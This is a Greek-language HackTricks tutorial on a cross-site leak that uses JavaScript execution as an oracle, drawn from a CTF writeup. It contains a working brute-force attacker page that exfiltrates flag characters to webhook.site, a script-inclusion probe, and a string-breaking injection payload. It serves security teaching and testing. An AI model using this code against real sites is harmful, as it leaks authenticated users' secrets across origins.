JavaScript Execution XS Leak
Tip
Μάθε & εξασκήσου στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθε & εξασκήσου στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθε & εξασκήσου στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Περιηγήσου στον πλήρη κατάλογο HackTricks Training για τα assessment tracks (ARTA/GRTA/AzRTA) και στο Linux Hacking Expert (LHE).
Υποστήριξε το HackTricks
- Δες τα subscription plans!
- Γίνε μέλος της 💬 Discord group, της telegram group, ακολούθησε το @hacktricks_live στο X/Twitter, ή δες τη LinkedIn page και το YouTube channel.
- Μοιράσου hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Αυτό το XS-Search primitive μετατρέπει το αν το cross-origin response εκτελείται ως JavaScript σε Boolean oracle.
Η συνηθισμένη ρύθμιση είναι:
- Positive state: το target επιστρέφει attacker-controlled text ή sensitive content που δεν εκτελείται ως attacker JavaScript.
- Negative state: το target αντανακλά attacker-controlled text σε ένα σημείο που γίνεται parse ως valid JavaScript, ώστε ο attacker να μπορεί να επιβάλει ένα callback όπως
window.parent.foo(). - Leak: φορτώνεις το target με ένα κλασικό
<script src>και παρατηρείς αν ενεργοποιείται το callback.
Αυτό είναι ουσιαστικά ένα execution oracle, όχι ένα timing oracle. Το μόνο που χρειάζεται ο attacker είναι ένα cross-origin script inclusion που συμπεριφέρεται διαφορετικά ανάλογα με το secret-dependent branch.
Για το γενικό XS-Leaks υπόβαθρο, δες:
When This Works
Αυτή η τεχνική είναι πρακτική όταν ισχύουν όλα τα παρακάτω:
- Το victim είναι authenticated στο target origin.
- Ο attacker μπορεί να κάνει το victim browser να ζητήσει ένα classic script από το target origin.
- Ένα branch επιστρέφει περιεχόμενο που είναι valid attacker-controlled JavaScript.
- Το άλλο branch επιστρέφει περιεχόμενο που δεν εκτελεί το attacker callback.
Στην πράξη, οι πιο εύκολες περιπτώσεις είναι search/debug endpoints που:
- επιστρέφουν attacker-controlled text όταν ένα guess είναι λάθος
- επιστρέφουν διαφορετικό body όταν το guess είναι σωστό
- επιτρέπουν στον attacker να επιλέξει ένα parameter όπως
callback,hint,msg, ή ένα reflected prefix/suffix
Basic Example
Server-side code που θα δοκιμάσει το ${guess} ως flag prefix:
app.get("/guessing", function (req, res) {
let guess = req.query.guess
let page = `<html>
<head>
<script>
function foo() {
// If not the flag this will be executed
window.parent.foo()
}
</script>
<script src="https://axol.space/search?query=${guess}&hint=foo()"></script>
</head>
<p>hello2</p>
</html>`
res.send(page)
})
Κύρια σελίδα που δημιουργεί iframes προς την προηγούμενη σελίδα /guessing για να δοκιμάσει κάθε πιθανότητα:
<html>
<head>
<script>
let candidateIsGood = false
let candidate = ""
let flag = "bi0sctf{"
let guessIndex = -1
let flagChars =
"_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ"
// this will get called from our iframe IF the candidate is WRONG
function foo() {
candidateIsGood = false
}
timerId = setInterval(() => {
if (candidateIsGood) {
flag = candidate
guessIndex = -1
fetch("https://webhook.site/<yours-goes-here>?flag=" + flag)
}
// Start with true and change to false if the guess is wrong
candidateIsGood = true
guessIndex++
if (guessIndex >= flagChars.length) {
fetch("https://webhook.site/<yours-goes-here>")
return
}
let guess = flagChars[guessIndex]
candidate = flag + guess
let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(
candidate
)}"></iframe>`
hack.innerHTML = iframe
}, 500)
</script>
</head>
<p>hello</p>
<div id="hack"></div>
</html>
Η λογική του attacker είναι:
- Ξεκίνα κάθε candidate ως “good”.
- Φόρτωσε την target response ως script.
- Αν η response εκτελέσει
window.parent.foo(), σημείωσε το candidate ως wrong. - Αν δεν ενεργοποιηθεί κανένα callback, κράτα το candidate και συνέχισε το brute-forcing.
Minimal Probe Pattern
Σε πολλούς πραγματικούς targets, δεν απαιτείται iframe. Μια direct script inclusion είναι αρκετή:
<script>
let hit = true
function miss() {
hit = false
}
function probe(url) {
return new Promise((resolve) => {
hit = true
const s = document.createElement("script")
s.src = url
s.onload = () => resolve(hit)
s.onerror = () => resolve(false)
document.head.appendChild(s)
})
}
</script>
Αν το branch “wrong guess” αντανακλά miss(), τότε:
probe(...) === falseσημαίνει ότι το callback εκτελέστηκε ή το load απέτυχεprobe(...) === trueσημαίνει ότι το script φορτώθηκε χωρίς να εκτελέσει το attacker callback
Για αξιοπιστία, χρησιμοποίησε ένα fresh script element ανά probe και πρόσθεσε ένα cache-buster όπως ?r=${crypto.randomUUID()}.
Modern Caveats
Πρέπει να είναι classic script
Αυτό το primitive βασίζεται στο ότι ο browser ανακτά το resource ως classic script. Ένα απλό <script src=...> χωρίς crossorigin γίνεται fetch σε no-cors mode, που είναι ακριβώς ο λόγος που αυτό το παλιό pattern παραμένει χρήσιμο cross-origin.
Μην αλλάξεις σε type="module" για αυτή την τεχνική:
- τα cross-origin module scripts απαιτούν CORS
- πολλοί targets που μπορούν να συμπεριληφθούν ως classic scripts θα αποτύχουν απλώς ως modules
Το MIME type και το nosniff αποφασίζουν αν το payload εκτελείται
Οι τρέχοντες browsers είναι πιο αυστηροί από παλαιότερα writeups. Αν ο target ορίζει X-Content-Type-Options: nosniff, ο browser θα μπλοκάρει μια script response της οποίας το MIME type δεν είναι JavaScript MIME type.
Αυτό σημαίνει ότι αυτό το oracle συχνά εξαρτάται από:
- αν ο target επιστρέφει
application/javascript/text/javascript - αν ο target επιστρέφει
text/plain,text/html, ή JSON - αν υπάρχει
nosniff
Αυτός είναι επίσης ο λόγος που κάποια endpoints δίνουν μόνο ένα leak σε ένα branch: μία response γίνεται αποδεκτή ως script, ενώ το άλλο branch μπλοκάρεται ή γίνεται parse διαφορετικά.
Το CORB μπορεί να αλλάξει το observable result
Το CORB προσθέτει ένα ακόμα branch που πρέπει να σκεφτείς. Αν μια response θεωρηθεί CORB-protected, το Chromium μπορεί να τη μετατρέψει σε ένα empty valid script response αντί να εμφανίσει parse failure. Άρα για κάποια endpoints:
- μία κατάσταση ενεργοποιεί normal script parse / callback
- μία άλλη κατάσταση γίνεται empty script και μόνο το
onloadfires
Αυτό παραμένει χρήσιμο oracle, αλλά το signal τώρα είναι callback vs no callback ή onload vs onerror, όχι απλώς “JavaScript executed or not”.
Το CSP μπορεί να σκοτώσει το attacker-controlled branch
Αυστηρό CSP στο target response μπορεί να σπάσει αυτό το primitive όταν το reflected branch δεν είναι πλέον executable JavaScript. Public XS-Leak challenge writeups από το 2022 έως το 2024 βασίζονται επανειλημμένα σε αυτή τη λεπτομέρεια:
script-src 'none'μπορεί να αναγκάσει τους attackers να pivot μακριά από ένα direct execution oracle- CSP/SRI/CSP-report interactions μπορούν ακόμα να δημιουργήσουν άλλα leak oracles, αλλά αυτά ανήκουν σε διαφορετικές pages/techniques
Οπότε όταν το προφανές callback trick δεν δουλεύει, έλεγξε τα response headers πριν απορρίψεις το endpoint.
Useful Variants
Callback-parameter endpoints
Ο πιο βολικός target είναι ένα JSONP-style ή debug endpoint που δέχεται ένα parameter όπως:
callback=...cb=...jsonp=...hint=...msg=...
Αν το branch “miss” αντανακλά αυτή την τιμή αυτούσια σε executable JavaScript ενώ το branch “hit” επιστρέφει διαφορετικό content, παίρνεις ένα direct Boolean oracle χωρίς timing measurement.
Syntax-preserving prefixes and suffixes
Μερικές φορές δεν μπορείς να ελέγξεις πλήρως το response body, αλλά μπορείς ακόμα να κάνεις το negative branch να εκτελεστεί:
- κλείσε το τρέχον string ή function argument
- inject the callback
- comment out τα trailing bytes
Για παράδειγμα, ένα reflected branch όπως:
showResult("<attacker>");
μπορεί συχνά να μετατραπεί σε:
showResult("");window.parent.foo();//");
Αν ο θετικός κλάδος δεν αντανακλά αυτό το payload, το callback γίνεται το oracle.
Συνδυασμός με event-based oracles
Αν το endpoint είναι ασταθές μεταξύ browsers, συνδύασε το execution oracle με τα γενικά script load events που έχουν ήδη καλυφθεί στο section index:
- callback fired
onloadonerror
Αυτό είναι ιδιαίτερα χρήσιμο όταν ο ένας κλάδος παράγει έγκυρο JavaScript και ο άλλος κλάδος παράγει blocked MIME / CORB / CSP behavior.
Related pages:
Practical Notes
- Προτίμησε ένα bit ανά request και κράτα το callback side effect απλό.
- Αν ελέγχεις πολλούς candidates, αφαίρεσε τα
<script>elements που είχαν εισαχθεί προηγουμένως ή απομόνωσε κάθε προσπάθεια σε ένα νέο iframe. - Η συμπεριφορά του cache και του service worker μπορεί να δηλητηριάσει το oracle· χρησιμοποίησε cache-busting.
- Αυτό το primitive είναι πιο ισχυρό όταν ο αρνητικός κλάδος είναι πλήρως attacker-controlled JavaScript. Αν παίρνεις μόνο μερική reflection, το exploit γίνεται πρόβλημα payload-shaping και όχι XS-Search problem.
References
- https://xsleaks.dev/docs/attacks/error-events/
- https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/
Tip
Μάθε & εξασκήσου στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθε & εξασκήσου στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθε & εξασκήσου στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Περιηγήσου στον πλήρη κατάλογο HackTricks Training για τα assessment tracks (ARTA/GRTA/AzRTA) και στο Linux Hacking Expert (LHE).
Υποστήριξε το HackTricks
- Δες τα subscription plans!
- Γίνε μέλος της 💬 Discord group, της telegram group, ακολούθησε το @hacktricks_live στο X/Twitter, ή δες τη LinkedIn page και το YouTube channel.
- Μοιράσου hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


